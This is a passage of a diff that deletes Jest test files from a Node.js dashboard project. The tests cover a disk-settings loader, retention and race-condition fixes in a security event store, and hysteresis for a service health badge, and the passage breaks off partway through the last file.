||||||
// values that the test expects to be applied.
|
|
||||||
for (const k of LOADER_KEYS) {
|
|
||||||
if (ORIGINAL_ENV[k] === undefined) {
|
|
||||||
delete process.env[k];
|
|
||||||
} else {
|
|
||||||
process.env[k] = ORIGINAL_ENV[k];
|
|
||||||
}
|
|
||||||
}
|
|
||||||
delete process.env.DATA_DIR;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Temp data dir for filesystem-driven tests.
|
|
||||||
const TMP_DATA_DIR = '/tmp/dashcaddy-disk-settings-loader-test';
|
|
||||||
function makeDataDir() {
|
|
||||||
try { fs.rmSync(TMP_DATA_DIR, { recursive: true, force: true }); } catch (_) { /* ok */ }
|
|
||||||
fs.mkdirSync(TMP_DATA_DIR, { recursive: true });
|
|
||||||
}
|
|
||||||
function writePersisted(obj) {
|
|
||||||
fs.writeFileSync(path.join(TMP_DATA_DIR, 'disk-settings.json'), JSON.stringify(obj));
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('disk-settings-loader', () => {
|
|
||||||
beforeEach(() => {
|
|
||||||
restoreEnv();
|
|
||||||
makeDataDir();
|
|
||||||
// Wipe the once-guard between tests so each case sees a fresh loader run.
|
|
||||||
// We must require the module AFTER clearing the cache.
|
|
||||||
delete require.cache[require.resolve('../src/config/disk-settings-loader')];
|
|
||||||
const loader = require('../src/config/disk-settings-loader');
|
|
||||||
loader._resetForTesting();
|
|
||||||
// Force hasRun reset (jest's module loader is not always cleared by the
|
|
||||||
// require.cache delete — explicit call is the contract for the loader).
|
|
||||||
// Note: loader._resetForTesting is the authoritative reset path.
|
|
||||||
});
|
|
||||||
|
|
||||||
afterAll(() => {
|
|
||||||
restoreEnv();
|
|
||||||
try { fs.rmSync(TMP_DATA_DIR, { recursive: true, force: true }); } catch (_) { /* ok */ }
|
|
||||||
});
|
|
||||||
|
|
||||||
it('applies all six persisted values to process.env', () => {
|
|
||||||
writePersisted({
|
|
||||||
healthCheckInterval: 45000,
|
|
||||||
healthMaxEntries: 750,
|
|
||||||
healthRetentionDays: 14,
|
|
||||||
statsMaxEntries: 800,
|
|
||||||
auditMaxEntries: 1500,
|
|
||||||
backupMaxStorageBytes: 2147483648,
|
|
||||||
});
|
|
||||||
|
|
||||||
const loader = require('../src/config/disk-settings-loader');
|
|
||||||
const result = loader({ dataDir: TMP_DATA_DIR });
|
|
||||||
|
|
||||||
expect(result.applied).toHaveLength(6);
|
|
||||||
expect(process.env.HEALTH_CHECK_INTERVAL).toBe('45000');
|
|
||||||
expect(process.env.HEALTH_MAX_ENTRIES).toBe('750');
|
|
||||||
expect(process.env.HEALTH_HISTORY_RETENTION).toBe('14');
|
|
||||||
expect(process.env.CONTAINER_STATS_MAX_ENTRIES).toBe('800');
|
|
||||||
expect(process.env.AUDIT_MAX_ENTRIES).toBe('1500');
|
|
||||||
expect(process.env.BACKUP_MAX_STORAGE_BYTES).toBe('2147483648');
|
|
||||||
expect(result.skipped).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('does not throw when disk-settings.json is missing', () => {
|
|
||||||
// TMP_DATA_DIR exists but no disk-settings.json inside it.
|
|
||||||
const loader = require('../src/config/disk-settings-loader');
|
|
||||||
expect(() => loader({ dataDir: TMP_DATA_DIR })).not.toThrow();
|
|
||||||
const result = loader({ dataDir: TMP_DATA_DIR }); // idempotent
|
|
||||||
expect(result.applied).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('does not throw on malformed JSON; logs to stderr', () => {
|
|
||||||
fs.writeFileSync(path.join(TMP_DATA_DIR, 'disk-settings.json'), '{ this is not json');
|
|
||||||
const stderrSpy = jest.spyOn(process.stderr, 'write').mockImplementation(() => true);
|
|
||||||
|
|
||||||
const loader = require('../src/config/disk-settings-loader');
|
|
||||||
expect(() => loader({ dataDir: TMP_DATA_DIR })).not.toThrow();
|
|
||||||
const result = loader({ dataDir: TMP_DATA_DIR });
|
|
||||||
expect(result.applied).toEqual([]);
|
|
||||||
expect(stderrSpy).toHaveBeenCalledWith(
|
|
||||||
expect.stringContaining('WARN: failed to parse'),
|
|
||||||
);
|
|
||||||
stderrSpy.mockRestore();
|
|
||||||
});
|
|
||||||
|
|
||||||
it('explicit process.env wins over persisted file', () => {
|
|
||||||
process.env.HEALTH_HISTORY_RETENTION = '90';
|
|
||||||
writePersisted({
|
|
||||||
healthRetentionDays: 7,
|
|
||||||
healthMaxEntries: 999,
|
|
||||||
});
|
|
||||||
|
|
||||||
const loader = require('../src/config/disk-settings-loader');
|
|
||||||
const result = loader({ dataDir: TMP_DATA_DIR });
|
|
||||||
|
|
||||||
expect(process.env.HEALTH_HISTORY_RETENTION).toBe('90'); // unchanged
|
|
||||||
expect(process.env.HEALTH_MAX_ENTRIES).toBe('999'); // applied
|
|
||||||
expect(result.skipped).toEqual([
|
|
||||||
expect.objectContaining({ envKey: 'HEALTH_HISTORY_RETENTION', reason: 'env-already-set' }),
|
|
||||||
]);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('rejects non-numeric values for numeric fields', () => {
|
|
||||||
writePersisted({
|
|
||||||
healthCheckInterval: 'fast', // not numeric
|
|
||||||
healthMaxEntries: '500x', // not numeric
|
|
||||||
healthRetentionDays: 14, // valid
|
|
||||||
auditMaxEntries: null, // silently skipped (null)
|
|
||||||
backupMaxStorageBytes: '', // silently skipped (empty)
|
|
||||||
});
|
|
||||||
|
|
||||||
const loader = require('../src/config/disk-settings-loader');
|
|
||||||
const result = loader({ dataDir: TMP_DATA_DIR });
|
|
||||||
|
|
||||||
// Only the valid value lands in `applied`.
|
|
||||||
expect(result.applied.map((a) => a.envKey)).toEqual(['HEALTH_HISTORY_RETENTION']);
|
|
||||||
// Non-numeric values appear in `skipped` with reason='non-numeric'.
|
|
||||||
// null and '' are silently filtered (treated as "field not present").
|
|
||||||
expect(result.skipped.map((s) => s.envKey).sort()).toEqual(
|
|
||||||
['HEALTH_CHECK_INTERVAL', 'HEALTH_MAX_ENTRIES'].sort(),
|
|
||||||
);
|
|
||||||
expect(result.skipped.every((s) => s.reason === 'non-numeric')).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('coerces numeric strings (e.g. "14") to integer strings', () => {
|
|
||||||
writePersisted({ healthRetentionDays: '14' });
|
|
||||||
const loader = require('../src/config/disk-settings-loader');
|
|
||||||
loader({ dataDir: TMP_DATA_DIR });
|
|
||||||
expect(process.env.HEALTH_HISTORY_RETENTION).toBe('14');
|
|
||||||
// Must be an integer-formatted string (not "14.7", "14x", etc.)
|
|
||||||
expect(Number.isInteger(parseInt(process.env.HEALTH_HISTORY_RETENTION, 10))).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('is idempotent across multiple calls (once-guard)', () => {
|
|
||||||
writePersisted({ healthRetentionDays: 7 });
|
|
||||||
const loader = require('../src/config/disk-settings-loader');
|
|
||||||
const first = loader({ dataDir: TMP_DATA_DIR });
|
|
||||||
const second = loader({ dataDir: TMP_DATA_DIR });
|
|
||||||
expect(first.applied).toHaveLength(1);
|
|
||||||
expect(second.applied).toEqual([]);
|
|
||||||
expect(second.alreadyRun).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('skips unknown fields without crashing', () => {
|
|
||||||
writePersisted({
|
|
||||||
healthRetentionDays: 14,
|
|
||||||
unknownField: 'whatever',
|
|
||||||
anotherUnknown: { nested: true },
|
|
||||||
});
|
|
||||||
const loader = require('../src/config/disk-settings-loader');
|
|
||||||
expect(() => loader({ dataDir: TMP_DATA_DIR })).not.toThrow();
|
|
||||||
expect(process.env.HEALTH_HISTORY_RETENTION).toBe('14');
|
|
||||||
});
|
|
||||||
|
|
||||||
it('returns a summary object with source path', () => {
|
|
||||||
writePersisted({ healthRetentionDays: 14 });
|
|
||||||
const loader = require('../src/config/disk-settings-loader');
|
|
||||||
const result = loader({ dataDir: TMP_DATA_DIR });
|
|
||||||
expect(result.source).toBe(path.join(TMP_DATA_DIR, 'disk-settings.json'));
|
|
||||||
expect(result.alreadyRun).toBe(false);
|
|
||||||
});
|
|
||||||
|
|
||||||
it('writes a boot summary to stderr when no logger is provided', () => {
|
|
||||||
writePersisted({ healthRetentionDays: 14, healthMaxEntries: 999 });
|
|
||||||
const stderrSpy = jest.spyOn(process.stderr, 'write').mockImplementation(() => true);
|
|
||||||
|
|
||||||
const loader = require('../src/config/disk-settings-loader');
|
|
||||||
loader({ dataDir: TMP_DATA_DIR }); // no logger passed
|
|
||||||
|
|
||||||
expect(stderrSpy).toHaveBeenCalledWith(
|
|
||||||
expect.stringMatching(/^\[disk-settings-loader\] rehydrated 2 setting/),
|
|
||||||
);
|
|
||||||
stderrSpy.mockRestore();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,231 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-116 regression pins — security event store retention + query.total.
|
|
||||||
*
|
|
||||||
* Background (2026-08-23, one day after DC-113 activated the caddy source):
|
|
||||||
* live store had 46,494 events (16.5MB) growing ~2MB/day. Cold review of
|
|
||||||
* src/security/event-store.js found three defects:
|
|
||||||
*
|
|
||||||
* 1. query().total lied: the scan broke at offset+limit, so `total` was
|
|
||||||
* capped at the page size (<=1000). LIVE user-facing impact — the
|
|
||||||
* dashboard "N events (24h)" stat (status/js/security-center.js reads
|
|
||||||
* data.total) and GET /hosts/:id/health events_24h showed 1000 when
|
|
||||||
* the real 24h count was tens of thousands.
|
|
||||||
* 2. Trim trigger/curer mismatch: trigger was byte-based (>50MB) but the
|
|
||||||
* curer was line-count-based (no-op unless >maxDisk=100k lines). If the
|
|
||||||
* average line ever exceeded ~524B (50MB/100k — 0.5% of live lines were
|
|
||||||
* already >524B, scanner bursts inflate metadata), trim fired on every
|
|
||||||
* append and rewrote nothing — unbounded file + full-file re-read on
|
|
||||||
* the write path.
|
|
||||||
* 3. Trim/append race: trim renamed over the file with appends in flight;
|
|
||||||
* events appended after trim's readFile landed on the unlinked inode
|
|
||||||
* and were silently lost.
|
|
||||||
*
|
|
||||||
* Tests use the REAL store with temp files. No mocks of the module under test.
|
|
||||||
*/
|
|
||||||
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
const os = require('os');
|
|
||||||
|
|
||||||
// Hermetic sinks (same pattern as caddy-worker-pipeline-dc113.test.js)
|
|
||||||
const TMP_DIR = fs.mkdtempSync(path.join(os.tmpdir(), 'dc116-store-'));
|
|
||||||
process.env.SECURITY_EVENT_LOG_FILE = path.join(TMP_DIR, 'security-events.jsonl');
|
|
||||||
|
|
||||||
const { SecurityEventStore } = require('../src/security/event-store');
|
|
||||||
|
|
||||||
const silence = { info: () => {}, warn: () => {}, error: () => {} };
|
|
||||||
|
|
||||||
function makeStore(opts = {}) {
|
|
||||||
return new SecurityEventStore({
|
|
||||||
log: silence,
|
|
||||||
filePath: path.join(TMP_DIR, `store-${Date.now()}-${Math.random().toString(36).slice(2)}.jsonl`),
|
|
||||||
...opts,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Deterministic event factory. `target` carries the unique marker — it is
|
|
||||||
// never overridden by the fat-payload tests, which replace `message`.
|
|
||||||
function ev(n, over = {}) {
|
|
||||||
return {
|
|
||||||
source_type: 'api',
|
|
||||||
actor: `actor-${n % 5}`,
|
|
||||||
action: `action-${n % 3}`,
|
|
||||||
target: `t-${n}`,
|
|
||||||
outcome: 'success',
|
|
||||||
severity: 'info',
|
|
||||||
message: `event ${n}`,
|
|
||||||
...over,
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
// Wait until the write queue is fully drained and no trim is in flight
|
|
||||||
async function settle(store, ms = 50) {
|
|
||||||
if (store.writeQueue.length === 0 && !store.writing && !store._trimScheduled) return;
|
|
||||||
await new Promise((r) => setTimeout(r, ms));
|
|
||||||
return settle(store, ms);
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('DC-116: query().total is the true match count, not the page size', () => {
|
|
||||||
test('total reflects all matching events beyond limit/offset', async () => {
|
|
||||||
const store = makeStore({ maxMemory: 10000 });
|
|
||||||
for (let i = 0; i < 250; i++) store.append(ev(i));
|
|
||||||
await settle(store);
|
|
||||||
|
|
||||||
// Page of 10 — total must be 250, not 10
|
|
||||||
const r1 = store.query({ limit: 10 });
|
|
||||||
expect(r1.events).toHaveLength(10);
|
|
||||||
expect(r1.total).toBe(250);
|
|
||||||
|
|
||||||
// Same through pagination
|
|
||||||
const r2 = store.query({ limit: 100, offset: 200 });
|
|
||||||
expect(r2.events).toHaveLength(50);
|
|
||||||
expect(r2.total).toBe(250);
|
|
||||||
|
|
||||||
// Filters count matches beyond the page too
|
|
||||||
const r3 = store.query({ limit: 5, actor: 'actor-1' });
|
|
||||||
expect(r3.total).toBe(50);
|
|
||||||
expect(r3.events.every((e) => e.actor === 'actor-1')).toBe(true);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('pages are disjoint and newest-first across offsets (dashboard pagination)', async () => {
|
|
||||||
const store = makeStore({ maxMemory: 10000 });
|
|
||||||
for (let i = 0; i < 30; i++) store.append(ev(i));
|
|
||||||
await settle(store);
|
|
||||||
|
|
||||||
const p1 = store.query({ limit: 10, offset: 0 }).events;
|
|
||||||
const p2 = store.query({ limit: 10, offset: 10 }).events;
|
|
||||||
const p3 = store.query({ limit: 10, offset: 20 }).events;
|
|
||||||
const ids = [...p1, ...p2, ...p3].map((e) => e.id);
|
|
||||||
expect(ids).toHaveLength(30);
|
|
||||||
expect(new Set(ids).size).toBe(30); // no overlap, no loss
|
|
||||||
// Newest first: event 29 (appended last) leads page 1
|
|
||||||
expect(p1[0].message).toBe('event 29');
|
|
||||||
expect(p3[9].message).toBe('event 0');
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-116: byte-budget trim always converges below the trigger', () => {
|
|
||||||
test('trims when byte budget exceeded even under the line cap (old code no-oped)', async () => {
|
|
||||||
// Fat lines (~600B each): 40 lines = ~24KB > 16KB budget, but well under
|
|
||||||
// any line cap. Pre-DC-116, _trim() returned early (lines <= maxDisk)
|
|
||||||
// while _maybeTrim kept firing.
|
|
||||||
const store = makeStore({ maxDisk: 1000, trimSizeLimit: 16 * 1024 });
|
|
||||||
const fat = 'x'.repeat(600);
|
|
||||||
for (let i = 0; i < 40; i++) store.append(ev(i, { message: fat }));
|
|
||||||
await settle(store, 100);
|
|
||||||
|
|
||||||
const size = fs.statSync(store.filePath).size;
|
|
||||||
expect(size).toBeLessThan(16 * 1024); // under the trigger
|
|
||||||
// The most recent events survived the trim
|
|
||||||
const lines = fs.readFileSync(store.filePath, 'utf8').trim().split('\n');
|
|
||||||
expect(lines.length).toBeGreaterThan(0);
|
|
||||||
expect(lines.length).toBeLessThanOrEqual(40);
|
|
||||||
const last = JSON.parse(lines[lines.length - 1]);
|
|
||||||
expect(last.target).toBe('t-39');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('respects the line cap when lines are thin (maxDisk still honored)', async () => {
|
|
||||||
// Thin lines (~120B): 300 lines = ~36KB > 16KB budget; maxDisk=100 must
|
|
||||||
// cap retained lines at 100 (~12KB) — under budget either way.
|
|
||||||
const store = makeStore({ maxDisk: 100, trimSizeLimit: 16 * 1024 });
|
|
||||||
for (let i = 0; i < 300; i++) store.append(ev(i));
|
|
||||||
await settle(store, 100);
|
|
||||||
|
|
||||||
const lines = fs.readFileSync(store.filePath, 'utf8').trim().split('\n');
|
|
||||||
expect(lines.length).toBeLessThanOrEqual(100);
|
|
||||||
expect(fs.statSync(store.filePath).size).toBeLessThan(16 * 1024);
|
|
||||||
const last = JSON.parse(lines[lines.length - 1]);
|
|
||||||
expect(last.target).toBe('t-299');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('byte ceiling drops oldest lines even when under the line cap (both constraints reconcile)', async () => {
|
|
||||||
// maxDisk=1000 (no line pressure) but budget forces byte reduction:
|
|
||||||
// 40 fat lines ~24KB -> must fall under 80% of 16KB = 12.8KB (~21 lines)
|
|
||||||
const store = makeStore({ maxDisk: 1000, trimSizeLimit: 16 * 1024 });
|
|
||||||
const fat = 'x'.repeat(600);
|
|
||||||
for (let i = 0; i < 40; i++) store.append(ev(i, { message: fat }));
|
|
||||||
await settle(store, 100);
|
|
||||||
|
|
||||||
const size = fs.statSync(store.filePath).size;
|
|
||||||
expect(size).toBeLessThanOrEqual(Math.floor(16 * 1024 * 0.8) + 700); // ceiling + one fat line
|
|
||||||
expect(size).toBeLessThan(16 * 1024);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-116: trim/append race — events appended around a trim are never lost', () => {
|
|
||||||
test('appends landing during trim survive (write lock serializes trim vs append)', async () => {
|
|
||||||
const store = makeStore({ maxDisk: 50, trimSizeLimit: 8 * 1024 });
|
|
||||||
const fat = 'x'.repeat(400);
|
|
||||||
// Push past the byte budget so the NEXT idle write path triggers a trim
|
|
||||||
for (let i = 0; i < 20; i++) store.append(ev(i, { message: fat }));
|
|
||||||
await settle(store, 100);
|
|
||||||
|
|
||||||
// Rapid-fire appends around trims: each burst re-crosses the 8KB budget,
|
|
||||||
// forcing multiple trims while appends keep flowing. Budget sized so the
|
|
||||||
// FINAL burst (~3.3KB) always fits under the post-trim ceiling — the
|
|
||||||
// retention contract guarantees the newest burst survives intact.
|
|
||||||
const ids = [];
|
|
||||||
for (let round = 0; round < 5; round++) {
|
|
||||||
for (let i = 0; i < 6; i++) {
|
|
||||||
const stored = store.append(ev(100 + round * 6 + i, { message: fat }));
|
|
||||||
ids.push(stored.id);
|
|
||||||
}
|
|
||||||
await settle(store, 100);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Every appended event must be either on disk or accounted for by the
|
|
||||||
// explicit retention caps (maxDisk=50 lines / 8KB byte budget). The last
|
|
||||||
// burst MUST be fully on disk (it fits the budget; nothing newer exists).
|
|
||||||
const lines = fs.readFileSync(store.filePath, 'utf8').trim().split('\n');
|
|
||||||
const diskIds = new Set(lines.map((l) => JSON.parse(l).id));
|
|
||||||
const lastBurst = ids.slice(-6);
|
|
||||||
for (const id of lastBurst) {
|
|
||||||
expect(diskIds.has(id)).toBe(true);
|
|
||||||
}
|
|
||||||
// And the file is back under budget
|
|
||||||
expect(fs.statSync(store.filePath).size).toBeLessThan(8 * 1024);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('in-memory index stays queryable and consistent right after a trim', async () => {
|
|
||||||
const store = makeStore({ maxDisk: 10, trimSizeLimit: 8 * 1024 });
|
|
||||||
for (let i = 0; i < 60; i++) store.append(ev(i, { message: 'y'.repeat(300) }));
|
|
||||||
await settle(store, 150);
|
|
||||||
|
|
||||||
// Disk kept <=10 lines; memory still serves the capped window
|
|
||||||
const lines = fs.readFileSync(store.filePath, 'utf8').trim().split('\n');
|
|
||||||
expect(lines.length).toBeLessThanOrEqual(10);
|
|
||||||
const q = store.query({ limit: 5 });
|
|
||||||
expect(q.total).toBe(store.size());
|
|
||||||
expect(q.events).toHaveLength(5);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
describe('DC-116: trim error paths release the write lock (no wedged store)', () => {
|
|
||||||
test('rename failure resets _trimScheduled and writing so later appends flow', async () => {
|
|
||||||
const store = makeStore({ maxDisk: 5, trimSizeLimit: 2 * 1024 });
|
|
||||||
const fat = 'x'.repeat(500);
|
|
||||||
for (let i = 0; i < 10; i++) store.append(ev(i, { message: fat }));
|
|
||||||
await settle(store, 100);
|
|
||||||
|
|
||||||
// Sabotage: make the tmp path unwritable so writeFile inside _trim fails
|
|
||||||
const tmpPath = store.filePath + '.tmp';
|
|
||||||
fs.mkdirSync(tmpPath); // a DIRECTORY at the tmp path breaks writeFile
|
|
||||||
|
|
||||||
for (let i = 10; i < 16; i++) store.append(ev(i, { message: fat }));
|
|
||||||
await settle(store, 200);
|
|
||||||
|
|
||||||
// Lock must be released despite the failure
|
|
||||||
expect(store.writing).toBe(false);
|
|
||||||
expect(store._trimScheduled).toBe(false);
|
|
||||||
|
|
||||||
fs.rmSync(tmpPath, { recursive: true, force: true });
|
|
||||||
// Appends still land on disk after the sabotage is cleared (write path
|
|
||||||
// was never wedged). The post-append idle trim may legitimately SHRINK
|
|
||||||
// the file back under budget, so assert on content, not size.
|
|
||||||
const last = store.append(ev(99, { message: fat }));
|
|
||||||
await settle(store, 100);
|
|
||||||
const lines = fs.readFileSync(store.filePath, 'utf8').trim().split('\n');
|
|
||||||
const diskIds = new Set(lines.map((l) => JSON.parse(l).id));
|
|
||||||
expect(diskIds.has(last.id)).toBe(true);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,297 +0,0 @@
|
|||||||
/**
|
|
||||||
* Tests for DC-086: asymmetric hysteresis on the dashboard service badge.
|
|
||||||
*
|
|
||||||
* - First probe always emits (no prior state).
|
|
||||||
* - Same-status probe does NOT re-emit (dedup against repeated green).
|
|
||||||
* - One "down" then back to "up" keeps the badge green (no flicker).
|
|
||||||
* - Two consecutive "down" probes flip the badge to red.
|
|
||||||
* - One "up" after a down streak flips back to green (fast recovery).
|
|
||||||
* - History retains every raw probe even when no emit happens.
|
|
||||||
* - getCurrentStatus returns displayed status, not raw.
|
|
||||||
*/
|
|
||||||
|
|
||||||
'use strict';
|
|
||||||
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
const os = require('os');
|
|
||||||
|
|
||||||
// Use an isolated data dir so test history doesn't pollute the real one.
|
|
||||||
const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), 'dashcaddy-hyst-'));
|
|
||||||
process.env.HEALTH_DATA_DIR = tmpDir;
|
|
||||||
process.env.HEALTH_CONFIG_FILE = path.join(tmpDir, 'health-config.json');
|
|
||||||
process.env.HEALTH_HISTORY_FILE = path.join(tmpDir, 'health-history.json');
|
|
||||||
|
|
||||||
// Module exports a singleton instance, not a class — see module.exports in
|
|
||||||
// src/monitoring/health-checker.js. The test creates fresh state by replacing
|
|
||||||
// the relevant maps on the singleton in beforeEach.
|
|
||||||
const healthCheckerSingleton = require('../src/monitoring/health-checker');
|
|
||||||
const originalDownThreshold = process.env.HEALTH_DOWN_THRESHOLD;
|
|
||||||
const originalUpThreshold = process.env.HEALTH_UP_THRESHOLD;
|
|
||||||
|
|
||||||
function restoreEnv(name, value) {
|
|
||||||
if (value === undefined) delete process.env[name];
|
|
||||||
else process.env[name] = value;
|
|
||||||
}
|
|
||||||
|
|
||||||
function makeUp(serviceId = 'svc1') {
|
|
||||||
return {
|
|
||||||
serviceId,
|
|
||||||
timestamp: new Date().toISOString(),
|
|
||||||
status: 'up',
|
|
||||||
responseTime: 50,
|
|
||||||
statusCode: 200,
|
|
||||||
message: 'Service is healthy',
|
|
||||||
details: { headers: {}, bodyLength: 12 }
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
function makeDown(serviceId = 'svc1') {
|
|
||||||
return {
|
|
||||||
serviceId,
|
|
||||||
timestamp: new Date().toISOString(),
|
|
||||||
status: 'down',
|
|
||||||
responseTime: 50,
|
|
||||||
statusCode: 500,
|
|
||||||
message: 'fail',
|
|
||||||
details: { headers: {}, bodyLength: 0 }
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('DC-086: hysteresis on the dashboard badge', () => {
|
|
||||||
let hc;
|
|
||||||
let emitSpy;
|
|
||||||
|
|
||||||
beforeEach(() => {
|
|
||||||
// Reset the singleton's per-test state so each case starts clean.
|
|
||||||
healthCheckerSingleton.displayedStatus = new Map();
|
|
||||||
healthCheckerSingleton.consecutiveSinceChange = new Map();
|
|
||||||
healthCheckerSingleton.currentStatus = new Map();
|
|
||||||
healthCheckerSingleton.history = {};
|
|
||||||
healthCheckerSingleton.removeAllListeners('status-check');
|
|
||||||
emitSpy = jest.fn();
|
|
||||||
healthCheckerSingleton.on('status-check', emitSpy);
|
|
||||||
hc = healthCheckerSingleton;
|
|
||||||
});
|
|
||||||
|
|
||||||
afterEach(() => {
|
|
||||||
restoreEnv('HEALTH_DOWN_THRESHOLD', originalDownThreshold);
|
|
||||||
restoreEnv('HEALTH_UP_THRESHOLD', originalUpThreshold);
|
|
||||||
});
|
|
||||||
|
|
||||||
afterAll(() => {
|
|
||||||
fs.rmSync(tmpDir, { recursive: true, force: true });
|
|
||||||
});
|
|
||||||
|
|
||||||
test('first probe (no prior state) emits', () => {
|
|
||||||
hc.recordStatus('svc1', makeUp());
|
|
||||||
expect(emitSpy).toHaveBeenCalledTimes(1);
|
|
||||||
expect(emitSpy.mock.calls[0][0].status).toBe('up');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('second probe with same status does NOT re-emit', () => {
|
|
||||||
hc.recordStatus('svc1', makeUp());
|
|
||||||
hc.recordStatus('svc1', makeUp());
|
|
||||||
expect(emitSpy).toHaveBeenCalledTimes(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('one "down" then "up" keeps the badge green (the flicker bug)', () => {
|
|
||||||
hc.recordStatus('svc1', makeUp()); // baseline: green, emit 1
|
|
||||||
hc.recordStatus('svc1', makeDown()); // one blip — keep green, no emit
|
|
||||||
hc.recordStatus('svc1', makeUp()); // recovered — still green, no emit
|
|
||||||
expect(emitSpy).toHaveBeenCalledTimes(1);
|
|
||||||
expect(hc.displayedStatus.get('svc1').status).toBe('up');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('up, down, up, down, down resets the first streak before flipping', () => {
|
|
||||||
hc.recordStatus('svc1', makeUp());
|
|
||||||
hc.recordStatus('svc1', makeDown());
|
|
||||||
hc.recordStatus('svc1', makeUp());
|
|
||||||
hc.recordStatus('svc1', makeDown());
|
|
||||||
expect(hc.displayedStatus.get('svc1').status).toBe('up');
|
|
||||||
expect(emitSpy).toHaveBeenCalledTimes(1);
|
|
||||||
|
|
||||||
hc.recordStatus('svc1', makeDown());
|
|
||||||
expect(hc.displayedStatus.get('svc1').status).toBe('down');
|
|
||||||
expect(emitSpy).toHaveBeenCalledTimes(2);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('two consecutive "down" probes flip the badge to red', () => {
|
|
||||||
hc.recordStatus('svc1', makeUp()); // baseline: green
|
|
||||||
hc.recordStatus('svc1', makeDown()); // blip #1 — keep green (counter=1)
|
|
||||||
hc.recordStatus('svc1', makeDown()); // blip #2 — flip red (counter=2 >= DOWN_THRESHOLD)
|
|
||||||
expect(emitSpy).toHaveBeenCalledTimes(2);
|
|
||||||
expect(emitSpy.mock.calls[1][0].status).toBe('down');
|
|
||||||
expect(hc.displayedStatus.get('svc1').status).toBe('down');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('one "up" after a down streak flips back to green (fast recovery)', () => {
|
|
||||||
hc.recordStatus('svc1', makeUp());
|
|
||||||
hc.recordStatus('svc1', makeDown());
|
|
||||||
hc.recordStatus('svc1', makeDown()); // now red
|
|
||||||
expect(hc.displayedStatus.get('svc1').status).toBe('down');
|
|
||||||
|
|
||||||
hc.recordStatus('svc1', makeUp()); // first green — flip back
|
|
||||||
expect(emitSpy).toHaveBeenCalledTimes(3);
|
|
||||||
expect(emitSpy.mock.calls[2][0].status).toBe('up');
|
|
||||||
expect(hc.displayedStatus.get('svc1').status).toBe('up');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('history retains every raw probe even when no emit happens', () => {
|
|
||||||
hc.recordStatus('svc1', makeUp());
|
|
||||||
hc.recordStatus('svc1', makeDown()); // blip, no emit
|
|
||||||
hc.recordStatus('svc1', makeUp()); // recovery, no emit
|
|
||||||
expect(hc.history['svc1'].length).toBe(3);
|
|
||||||
expect(hc.history['svc1'][0].status).toBe('up');
|
|
||||||
expect(hc.history['svc1'][1].status).toBe('down');
|
|
||||||
expect(hc.history['svc1'][2].status).toBe('up');
|
|
||||||
});
|
|
||||||
|
|
||||||
test('getCurrentStatus returns the displayed status, not the raw probe', () => {
|
|
||||||
const displayedUp = makeUp();
|
|
||||||
displayedUp.timestamp = '2026-08-22T09:59:00.000Z';
|
|
||||||
displayedUp.statusCode = 200;
|
|
||||||
displayedUp.message = 'healthy';
|
|
||||||
displayedUp.details = { source: 'accepted-up' };
|
|
||||||
hc.recordStatus('svc1', displayedUp);
|
|
||||||
const latestRaw = makeDown();
|
|
||||||
latestRaw.timestamp = '2026-08-22T10:00:00.000Z';
|
|
||||||
latestRaw.responseTime = 987;
|
|
||||||
latestRaw.statusCode = 500;
|
|
||||||
latestRaw.message = 'failed probe';
|
|
||||||
latestRaw.error = 'upstream failure';
|
|
||||||
latestRaw.details = { source: 'suppressed-down' };
|
|
||||||
hc.recordStatus('svc1', latestRaw); // raw=down, displayed=up
|
|
||||||
const out = hc.getCurrentStatus();
|
|
||||||
expect(out['svc1'].status).toBe('up'); // shown to API consumers
|
|
||||||
expect(out['svc1'].timestamp).toBe(displayedUp.timestamp);
|
|
||||||
expect(out['svc1'].statusCode).toBe(200);
|
|
||||||
expect(out['svc1'].message).toBe('healthy');
|
|
||||||
expect(out['svc1'].error).toBeUndefined();
|
|
||||||
expect(out['svc1'].details).toEqual({ source: 'accepted-up' });
|
|
||||||
expect(hc.currentStatus.get('svc1')).toBe(latestRaw);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('a long steady-green run produces exactly ONE emit (no per-probe spam)', () => {
|
|
||||||
for (let i = 0; i < 50; i++) hc.recordStatus('svc1', makeUp());
|
|
||||||
expect(emitSpy).toHaveBeenCalledTimes(1);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('a long steady-green-then-steady-red transition: 1 emit (up), 1 emit (red)', () => {
|
|
||||||
for (let i = 0; i < 10; i++) hc.recordStatus('svc1', makeUp());
|
|
||||||
expect(emitSpy).toHaveBeenCalledTimes(1);
|
|
||||||
hc.recordStatus('svc1', makeDown());
|
|
||||||
